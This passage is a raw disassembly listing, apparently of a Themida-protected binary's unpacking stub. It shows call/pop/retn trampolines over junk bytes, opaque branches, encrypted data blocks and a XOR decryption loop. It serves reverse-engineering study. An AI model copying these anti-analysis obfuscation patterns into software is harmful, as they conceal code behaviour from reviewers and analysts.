		mov	bh, 1Dh
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		add	dword ptr [esp], 6DD36B8h
		mov	dx, cx
		lea	eax, [ebp+611390Dh]
		pusha
		mov	esi, 1783A285h
		push	ebx
		adc	dx, 3ADBh
		pop	ebx
		popa
		call	eax
		movsx	ebx, bx
		cmp	dword ptr [ebp+60E1801h], 0
		jz	loc_54FE78
		push	0
		push	esi
		call	sub_54FD3B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FD3B	proc near		; CODE XREF: Themida_:0054FD33p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_54FD3B	endp

; ---------------------------------------------------------------------------
		inc	ebp
		das
		jno	loc_54FD63
		jmp	loc_54FD63
; ---------------------------------------------------------------------------
		dd 19A2DFE6h, 0A2F2378Dh
		db 2Eh,	7Ah, 31h
; ---------------------------------------------------------------------------


loc_54FD63:				; CODE XREF: Themida_:0054FD4Dj
					; Themida_:0054FD53j
		mov	dx, 0F85Ch
		cmp	dword ptr [ebp+60E0D79h], 1
		jnz	loc_54FE78
		mov	ebx, [ebp+60E1829h]
		movsx	ebx, bx
		lea	ecx, [ebp+6113917h]
		push	0
		push	ecx
		call	sub_54FD8E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FD8E	proc near		; CODE XREF: Themida_:0054FD86p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_54FD8E	endp

; ---------------------------------------------------------------------------
		dw 0DBDCh
		dd 2C000AAAh, 60CC74F5h, 7E9h, 55036A00h, 0BF692764h, 1BDB58Bh
		dd 6A61060Eh, 0FEDB8103h, 6A6D4FC2h, 50006A01h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 2D276873h
		dd 1BEE5FE0h, 0C99D01D6h, 0FF060E29h, 55006AD1h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 6096B030h, 89FCC79Fh, 0E163D8Dh, 6A016A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 5B1FC355h, 0BA66875Eh, 8589195Dh, 60E2969h, 0BB66016Ah
		dd 0D1FF7FCBh, 2890F60h, 8B000000h, 3DB589CEh, 61060E31h
		dd 4D6E21E8h, 0C820FFAh, 60000000h, 4A4FB866h, 1DCD9D8Bh
		dd 0BA61060Eh, 124A6E36h
; ---------------------------------------------------------------------------


loc_54FE78:				; CODE XREF: Themida_:0054FD2Aj
					; Themida_:0054FD6Ej
		push	20h
		mov	bx, 3ACEh
		push	0FFFFFFFFh
		or	edx, 507E41E7h
		call	dword ptr [ebp+60E2029h]
		push	0
		push	edi
		call	sub_54FE97
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FE97	proc near		; CODE XREF: Themida_:0054FE8Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_54FE97	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebp
		db	64h
		scas	dword ptr es:[edi]
		test	[edx-62764496h], ebx
		adc	eax, 8B060E18h
		setalc
		mov	eax, 0
		sbb	bx, 3489h
		or	eax, eax
		jz	loc_54FF09
		xor	[ebp+60E19B1h],	ebx
		cmp	dword ptr [ebp+60E2FE1h], 0
		jz	loc_54FF09
		push	0
		push	ebx
		call	sub_54FEE7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FEE7	proc near		; CODE XREF: Themida_:0054FEDFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_54FEE7	endp

; ---------------------------------------------------------------------------
		sub	dword ptr ds:5A0556A4h,	0FFFFFFD2h
		mov	bl, 0Fh
		mov	edi, 9195FFD7h
		sbb	ecx, [esi]
		push	es
		clc


loc_54FF09:				; CODE XREF: Themida_:0054FEC3j
					; Themida_:0054FED6j
		mov	eax, [ebp+60E07D1h]
		add	dl, 44h
		mov	[ebp+60E2A3Dh],	ecx
		mov	byte ptr [eax],	0
		push	0
		push	eax
		call	sub_54FF26
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF26	proc near		; CODE XREF: Themida_:0054FF1Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_54FF26	endp

; ---------------------------------------------------------------------------
		dw 0EF3Eh
		dd 346005D4h, 9A44CCBBh, 1605862h, 0E08E195h, 93F68106h
		dd 615B1AF6h, 5E9h, 0FF9D1300h,	8C669CC7h, 39950BD9h, 0F6060E16h
		dd 840F04C1h, 5Eh, 59E9h, 0E5B58B00h, 6A060E17h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E813C356h, 0FDF7C896h, 0C681ACB7h, 1180h, 2489958Bh
		dd 0B509060Eh, 60E1A95h, 6C7h, 13E90000h, 0AF000000h, 3AB6E6AFh
		dd 71EDCC92h, 830A3F30h, 66C00A6Ah, 835EBFC3h, 840F00F8h
		dd 0B29h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0EEC35242h, 0F01F883h, 17085h, 0CB47BB00h, 0BD891E28h
		dd 60E1589h, 0B8h, 15A3BA00h, 0C00B5A12h, 0CC840Fh, 85310000h
		dd 60E2A75h, 0F01F883h,	11184h,	5E800h,	0A3550000h, 0E9F9DC28h
		dd 0Bh,	0C2AAE3E8h, 791D5429h, 5B5805BCh, 3F883FCh, 39840Fh
		dd 39B20000h, 0BA66C02Bh, 0F280AADEh, 0E0BD8D0Dh, 66005B89h
		dd 0FF2A48BAh, 56006AE7h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0C1736184h, 0B8D5C41Dh
		dd 1, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 16h
		dd 0EFC35646h, 315776E6h, 0E29018Dh, 0BD8D5B06h, 5B89E0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 54C35646h
		dd 7762DDCDh, 8B6B0EE6h, 0E09B595h, 80E7FF06h, 0BD8DD9DEh
		dd 60E43CBh, 191D9D03h,	14E9060Eh, 0CB000000h, 318F2495h
		dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 0E9D50225h, 2BAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 73C35747h
		dd 0F1A4C69Eh, 8144D31Bh, 2FA9B529h, 85C7060Eh,	60E4D9Ah
		dd 5, 0DF8B6656h, 5B85Ah, 0B5890000h, 60E16A5h,	8E8h, 0BFE7E400h
		dd 27149489h, 5BD08B19h, 8DEE9h, 8BB6600h, 2F88300h, 0CF850Fh
		dd 89600000h, 0E0F9195h, 0EB816606h, 0B8619E91h, 0
; ---------------------------------------------------------------------------
		jmp	loc_55019B
; ---------------------------------------------------------------------------
		db 7Bh,	80h, 46h
		dd 1B65EA77h, 4FBEE627h, 5CB78012h
		db 0CCh
; ---------------------------------------------------------------------------
		pop	ss
		pop	es


loc_55019B:				; CODE XREF: Themida_:00550184j
		or	eax, eax
		jz	loc_550228
		push	0
		push	ebp
		call	sub_5501AE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5501AE	proc near		; CODE XREF: Themida_:005501A6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5501AE	endp

; ---------------------------------------------------------------------------
		dw 5C72h
		dd 3876DD79h, 812C08FFh, 0D30A7CE3h, 1F88331h, 0FF60840Fh
		dd 7E9FFFFh, 11000000h,	35AA8CF2h, 0B70F2CC8h, 3F883DBh
		dd 0FE95840Fh, 9D8BFFFFh, 60E22DDh, 0B8h, 0E0BD8D00h, 6A005B89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5A32C356h, 25A9519h, 7C34D644h, 0F38AE7FFh
; ---------------------------------------------------------------------------


loc_550228:				; CODE XREF: Themida_:0055019Dj
		lea	edi, [ebp+60E45C3h]
		jle	loc_55023A
		mov	[ebp+60E1B8Dh],	edi


loc_55023A:				; CODE XREF: Themida_:0055022Ej
		jmp	loc_5503C6
; ---------------------------------------------------------------------------
		mov	ebx, esi
		cmp	eax, 3
		jnz	loc_550281
		push	0
		push	esi
		call	sub_550255
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550255	proc near		; CODE XREF: Themida_:0055024Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_550255	endp

; ---------------------------------------------------------------------------
		db 9, 3Fh, 0ADh
; ---------------------------------------------------------------------------
		ficomp	dword ptr [ecx]
		adc	eax, 0F18AF589h
		lea	edi, [ebp+60E4757h]
		mov	ebx, [ebp+60E32E5h]
		jmp	loc_5503C6
; ---------------------------------------------------------------------------
		cld


loc_550281:				; CODE XREF: Themida_:00550244j
		cmp	eax, 5
		jnz	loc_5502D4
		jb	loc_5502AA
		jz	loc_5502AA
		jmp	loc_5502AA
; ---------------------------------------------------------------------------
		db 74h
		dd 0A6F3BA9Bh, 0D71C02Bh, 46716B6Eh
; ---------------------------------------------------------------------------
		push	ss
		pop	eax


loc_5502AA:				; CODE XREF: Themida_:0055028Aj
					; Themida_:00550290j ...
		jmp	loc_550A43
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5502BA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5502BA	proc near		; CODE XREF: Themida_:005502B2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5502BA	endp

; ---------------------------------------------------------------------------
		test	eax, 0C11374F2h
		mov	ebp, 770932C2h


loc_5502D4:				; CODE XREF: Themida_:00550284j
		cmp	eax, 6
		jnz	loc_550343
		pusha
		mov	edi, [ebp+60E0E95h]
		popa
		lea	edi, [ebp+60E494Fh]
		push	0
		push	edx
		call	sub_5502F6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5502F6	proc near		; CODE XREF: Themida_:005502EEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5502F6	endp

; ---------------------------------------------------------------------------
		dw 0E815h
		dd 0Dh,	0FB333A91h, 7E7C64CCh, 0D5C7BE2Eh, 0F7CF80E1h
		dd 0A4E95Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E3A968C3h
; ---------------------------------------------------------------------------
		mov	ch, 59h
		push	edi


loc_550343:				; CODE XREF: Themida_:005502D7j
		cmp	eax, 7
		jnz	loc_550389
		push	0
		push	edx
		call	sub_550357
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550357	proc near		; CODE XREF: Themida_:0055034Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_550357	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0F58A34B9h
		mov	[ebp+60E17D9h],	ecx
		lea	edi, [ebp+60E2571h]
		mov	[ebp+60E2E65h],	ebx
		jmp	loc_5504B0
; ---------------------------------------------------------------------------
		sub	ebx, [ebp+60E1D21h]


loc_550389:				; CODE XREF: Themida_:00550346j
		cmp	eax, 0Ah
		jnz	loc_5503C6
		sub	dh, 0D6h
		lea	edi, [ebp+60E4B47h]
		push	edi
		jmp	loc_5503B1
; ---------------------------------------------------------------------------
		db 54h,	37h, 33h
		dd 30AC0C66h, 0FF32D0A0h, 83711E42h
		db 0DBh
; ---------------------------------------------------------------------------


loc_5503B1:				; CODE XREF: Themida_:0055039Cj
		pop	ebx
		jmp	loc_5503C6
; ---------------------------------------------------------------------------
		jmp	loc_5503C6
; ---------------------------------------------------------------------------
		dd 0D18EEE28h, 530E1EC9h
		db 38h,	0B2h
; ---------------------------------------------------------------------------


loc_5503C6:				; CODE XREF: Themida_:loc_55023Aj
					; Themida_:0055027Bj ...
		push	edi
		mov	dx, 8AC2h
		mov	ecx, 2AD13021h
		or	dx, 5BE8h
		cmp	dword ptr [edi], 0
		jz	loc_55046C
		push	0
		push	ebx
		call	sub_5503E9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5503E9	proc near		; CODE XREF: Themida_:005503E1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5503E9	endp

; ---------------------------------------------------------------------------
		db 7Ch,	0C8h, 6Dh
		dd 926CBF64h, 958B647Eh, 60E3389h, 0BD090F30h, 60E0E79h
		dd 6AC9D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 89F8ADC3h, 0E0CAD9Dh, 0DBBF0F06h,	4BBA6647h
		dd 0FF93E90Fh, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0B87774C3h, 74762138h, 958BB877h
		dd 60E3219h
; ---------------------------------------------------------------------------


loc_55046C:				; CODE XREF: Themida_:005503D8j
		pop	edi
		push	0
		push	edi
		call	sub_550478
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550478	proc near		; CODE XREF: Themida_:00550470p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_550478	endp

; ---------------------------------------------------------------------------
		dd 8B459A2Eh, 0E242995h, 19840F06h, 0E9000000h,	14h, 2A268E3Dh
		dd 2C94C1D8h, 70CF6E29h, 53EC24D4h, 0C207E36h
; ---------------------------------------------------------------------------


loc_5504B0:				; CODE XREF: Themida_:0055037Ej
		mov	[ebp+60E4D43h],	edi
		and	edx, 112A4A25h
		lea	ecx, [ebp+60E1BF9h]
		push	0
		push	ecx
		call	sub_5504CD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5504CD	proc near		; CODE XREF: Themida_:005504C5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5504CD	endp

; ---------------------------------------------------------------------------
		sal	edi, cl
		sahf
		mov	ds:33822F22h, al
		popf
		add	dword ptr [edi], 0B5FF060Eh
		pop	ebp
		db	2Eh
		push	cs
		push	es
		mov	edx, ebx
		lea	eax, [ebp+610A196h]
		push	eax
		lea	edi, [ebp+60E5495h]
		lea	ecx, [ebp+60E6F10h]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_55050C:				; CODE XREF: Themida_:00550512j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_55050C
		lea	esi, [ebp+60E6E70h]
		lea	ecx, [ebp+60E6F28h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_550575
		cmp	dword ptr [ebp+60E2FE1h], 0
		jz	short loc_55053E
		call	dword ptr [ebp+60E1B91h]


loc_55053E:				; CODE XREF: Themida_:00550536j
		mov	esi, [ebp+60E4D43h]
		lea	eax, [ebp+610A196h]
		call	eax
		lea	eax, [ebp+60E4360h]
		call	eax
		mov	dword ptr [ebp+60E02E9h], 1
		mov	esp, [ebp+60E3055h]
		mov	esi, [ebp+60E2FD5h]
		mov	ebp, [ebp+60E21F9h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_550575:				; CODE XREF: Themida_:0055052Dj
		mov	bh, dh
		cmp	dword ptr [ebp+60E2991h], 0
		jz	loc_550596
		mov	[ebp+60E1935h],	edi
		call	dword ptr [ebp+60E2271h]
		mov	[ebp+60E0EF1h],	ecx


loc_550596:				; CODE XREF: Themida_:0055057Ej
		cmp	dword ptr [ebp+60E3465h], 0
		jnz	loc_55077B
		movzx	edx, bx
		cmp	dword ptr [ebp+60E0D79h], 1
		jnz	loc_55077B
		mov	[ebp+60E0849h],	ecx
		cmp	dword ptr [ebp+60E1021h], 0
		jz	loc_55077B
		push	0
		push	edx
		call	sub_5505D1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5505D1	proc near		; CODE XREF: Themida_:005505C9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5505D1	endp

; ---------------------------------------------------------------------------
		sal	bh, cl
		daa
		jg	loc_5505F6
		jbe	loc_5505F6
		or	[ebp+60E2551h],	ecx


loc_5505F6:				; CODE XREF: Themida_:005505E4j
					; Themida_:005505EAj
		cmp	dword ptr [ebp+60E4D96h], 0
		jz	loc_55077B
		add	ebx, 308C4FF9h
		lea	eax, [ebp+610A196h]
		mov	edx, [ebp+60E0705h]
		mov	esi, [ebp+60E4D43h]
		sub	dx, 0F6FBh
		call	eax
		push	edi
		pusha
		sub	eax, [ebp+60E17D1h]
		xor	ah, 5Dh
		popa
		pop	edx
		push	esi
		mov	edx, esi
		pop	ebx
		mov	byte ptr [ebp+60E2F11h], 54h
		push	0
		push	ebp
		call	sub_550645
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550645	proc near		; CODE XREF: Themida_:0055063Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_550645	endp

; ---------------------------------------------------------------------------


loc_550655:				; CODE XREF: Themida_:0055065Aj
		add	eax, 0DC6F6D15h
		jbe	short loc_550655
		adc	[ebx], bh
		std
		add	[ebp+60E2791h],	ebx
		push	0E55EDD79h
		mov	dh, 0A4h
		add	dword ptr [esp], 19EFE17Bh
		jle	loc_550691
		jmp	loc_550691
; ---------------------------------------------------------------------------
		dw 282Bh
		dd 1CE8E9B4h, 2D89B667h, 0C8B28D02h, 0D1B24CF3h
		db 5
; ---------------------------------------------------------------------------


loc_550691:				; CODE XREF: Themida_:00550673j
					; Themida_:00550679j
		push	dword ptr [ebp+60E19F5h]
		push	0
		push	esi
		call	sub_5506A2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506A2	proc near		; CODE XREF: Themida_:0055069Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5506A2	endp

; ---------------------------------------------------------------------------
		adc	ebx, [eax]
		or	al, 26h
		or	ds:919D8B71h, bh
		adc	ecx, [esi]
		push	es
		lea	eax, [ebp+60E3BADh]
		push	0
		push	ebx
		call	sub_5506D1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5506D1	proc near		; CODE XREF: Themida_:005506C9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5506D1	endp

; ---------------------------------------------------------------------------
		db 1Dh,	0F9h, 0EDh
		dd 0FA95B9BCh, 14E83605h, 0FF000000h, 5D0A1959h, 76426778h
		dd 4792F7D7h, 0B656270Bh, 8B81C7AAh, 0D0FF5BDEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C8C35040h, 4B7C7F23h
		dd 665706A3h, 6A5ADE8Bh, 6AD88B00h, 5840FFFh, 0BB000000h
		dd 5613391Fh, 0AF8BC281h, 0D0FF0060h, 0FE8h, 8678C600h
		dd 0A2C92D46h, 0F3ACBDD3h, 0E57ABAF0h, 0A51958Bh, 0FF5B060Eh
		dd 0E0E99B5h, 6CBA6606h, 0FF19B7B6h, 0E2E5D95h,	119D3106h
; ---------------------------------------------------------------------------
		xor	[esi], ecx
		push	es


loc_55077B:				; CODE XREF: Themida_:0055059Dj
					; Themida_:005505ADj ...
		mov	esi, [ebp+60E4D43h]
		jmp	locret_550790
; ---------------------------------------------------------------------------
		dw 0C97Ch
		dd 0BA73C413h, 73B021Bh
; ---------------------------------------------------------------------------

locret_550790:				; CODE XREF: Themida_:00550781j
		retn
; ---------------------------------------------------------------------------
		jns	$+6
		mov	esi, [ebp+60E07D1h]
		mov	[ebp+60E17FDh],	ebx
		or	esi, esi
		jz	loc_5507BA
		mov	ebx, [ebp+60E32E5h]
		mov	byte ptr [esi],	0
		mov	[ebp+60E31CDh],	edi


loc_5507BA:				; CODE XREF: Themida_:005507A5j
		mov	[ebp+60E4D4Bh],	eax
		sub	[ebp+60E1441h],	edx
		cmp	eax, 0
		jz	loc_550AFD
		jmp	loc_5507E0
; ---------------------------------------------------------------------------
		dd 0A6485814h, 9C295AA2h, 77E13E01h
; ---------------------------------------------------------------------------


loc_5507E0:				; CODE XREF: Themida_:005507CFj
		mov	eax, 0
		or	[ebp+60E18EDh],	edi
		cmp	eax, 0
		jz	loc_5508B0
		jmp	loc_55080A
; ---------------------------------------------------------------------------
		db 0C8h, 6Dh, 64h
		dd 7E926CBFh, 1B94D664h, 8F0C9754h
		db 29h,	7Fh
; ---------------------------------------------------------------------------


loc_55080A:				; CODE XREF: Themida_:005507F4j
		cmp	eax, 2
		jnz	loc_55087A
		push	0
		push	edi
		call	sub_55081E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55081E	proc near		; CODE XREF: Themida_:00550816p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_55081E	endp

; ---------------------------------------------------------------------------
		dw 5874h
; ---------------------------------------------------------------------------
		sub	bx, 632h
		lea	eax, [ebp+60E43C6h]
		xor	dl, 65h
		sub	eax, 929h
		push	0
		push	esi
		call	sub_55084E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55084E	proc near		; CODE XREF: Themida_:00550846p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_55084E	endp

; ---------------------------------------------------------------------------
		dec	edx
		pushf
		js	short near ptr loc_55086D+1
		push	ds
		stc
		nop
		mov	bx, ax
		push	eax
		mov	dx, ax
		nop


loc_55086D:				; CODE XREF: Themida_:00550860j
		adc	edx, 4BEB60B3h
		retn
; ---------------------------------------------------------------------------
		mov	edx, [ebp+60E0951h]


loc_55087A:				; CODE XREF: Themida_:0055080Dj
		mov	eax, 0
		push	0
		push	eax
		call	sub_55088A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55088A	proc near		; CODE XREF: Themida_:00550882p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_55088A	endp

; ---------------------------------------------------------------------------
		sbb	bl, [edx-0Fh]
		jge	loc_5508A9
		xor	ebx, [ebp+60E2505h]


loc_5508A9:				; CODE XREF: Themida_:0055089Dj
		jmp	loc_550AFD
; ---------------------------------------------------------------------------
		mov	bl, ah


loc_5508B0:				; CODE XREF: Themida_:005507EEj
		mov	eax, 1
		push	0
		push	edi
		call	sub_5508C0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5508C0	proc near		; CODE XREF: Themida_:005508B8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5508C0	endp

; ---------------------------------------------------------------------------
		jge	short loc_5508F6
		idiv	dword ptr [ecx+57C3134Eh]
		mov	[ebp+60E16D5h],	ecx
		pop	edx
		lea	edi, [ebp+60E43CBh]
		or	edx, [ebp+60E0F15h]
		jmp	loc_55099E
; ---------------------------------------------------------------------------
		jz	loc_5508F8


loc_5508F6:				; CODE XREF: Themida_:005508D0j
		mov	bh, dh


loc_5508F8:				; CODE XREF: Themida_:005508F0j
		cmp	eax, 2
		jnz	loc_550944
		push	edx
		mov	[ebp+60E2DC9h],	esi
		pop	ebx
		lea	edi, [ebp+60E45C3h]
		push	0
		push	edx
		call	sub_55091A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55091A	proc near		; CODE XREF: Themida_:00550912p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_55091A	endp

; ---------------------------------------------------------------------------
		mov	ds:0E85CB3DFh[edi*4], ch
		push	edx
		mov	[ebp+60E32EDh],	edx
		pop	edx
		jmp	loc_55099E
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+60E18EDh]


loc_550944:				; CODE XREF: Themida_:005508FBj
		cmp	eax, 3
		jnz	loc_550984
		sub	[ebp+60E0C11h],	ecx
		lea	edi, [ebp+60E4757h]
		push	0
		push	ecx
		call	sub_550964
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550964	proc near		; CODE XREF: Themida_:0055095Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_550964	endp

; ---------------------------------------------------------------------------
		dd 0D1C04B6Bh, 20E92Bh,	0B5890000h, 60E1FCDh
; ---------------------------------------------------------------------------


loc_550984:				; CODE XREF: Themida_:00550947j
		cmp	eax, 5
		jnz	loc_55099E
		add	[ebp+60E0019h],	ebx
		jmp	loc_550A43
; ---------------------------------------------------------------------------
		or	ebx, [ebp+60E0E89h]


loc_55099E:				; CODE XREF: Themida_:005508EBj
					; Themida_:00550939j ...
		push	edi
		mov	[ebp+60E3111h],	ebx
		mov	ecx, 2AD13021h
		stc
		mov	ebx, [ebp+60E24C1h]
		cmp	dword ptr [edi], 0
		jz	loc_550A43
		push	0
		push	edx
		call	sub_5509C5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5509C5	proc near		; CODE XREF: Themida_:005509BDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5509C5	endp

; ---------------------------------------------------------------------------
		db 0BDh, 0CEh, 0BEh
		dd 5C09E9E7h, 858589DEh, 30060E29h, 0D0E6800Fh,	0B529C9D1h
		dd 60E04ADh, 51006A47h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 68258845h, 4258BED9h, 0DFBF0F31h
		dd 0FFFF94E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 525CDD6Fh, 0ADAC3727h
		db 79h,	8Ah, 0F4h
; ---------------------------------------------------------------------------


loc_550A43:				; CODE XREF: Themida_:loc_5502AAj
					; Themida_:00550993j ...
		cmp	eax, 5
		jnz	loc_550AFD
		mov	edx, edi
		mov	cx, ds
		push	0
		push	ebp
		call	sub_550A5C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550A5C	proc near		; CODE XREF: Themida_:00550A54p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_550A5C	endp

; ---------------------------------------------------------------------------
		mov	bl, 8Eh
		cmp	al, 0E1h
		add	eax, 131E94EBh
		rol	dword ptr [ecx], cl
		xchg	eax, ebp
		lds	ebx, [edx]
		push	cs
		push	es
		test	cl, 4
		jnz	loc_550AED
		push	0
		push	esi
		call	sub_550A90
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550A90	proc near		; CODE XREF: Themida_:00550A88p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_550A90	endp

; ---------------------------------------------------------------------------
		dd 40B654E6h, 5E8h, 7430A000h, 5E9A2D9h, 24000000h, 8D815B08h
		dd 0B85Bh, 0C5B20000h, 38E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F162273h
		dd 489h, 7CBB6600h
		db 3Ch
; ---------------------------------------------------------------------------


loc_550AED:				; CODE XREF: Themida_:00550A7Fj
		mov	eax, [ebp+60E1309h]
		mov	[ebp+60E2D5Dh],	edi
		jmp	eax
; ---------------------------------------------------------------------------
		mov	edx, esi


loc_550AFD:				; CODE XREF: Themida_:005507C9j
					; Themida_:loc_5508A9j	...
		cmp	dword ptr [ebp+60E2E5Dh], 0
		jnz	loc_550C10
		mov	bx, 0EF35h
		jp	loc_550B20
		jbe	loc_550B20
		mov	ebx, [ebp+60E2435h]


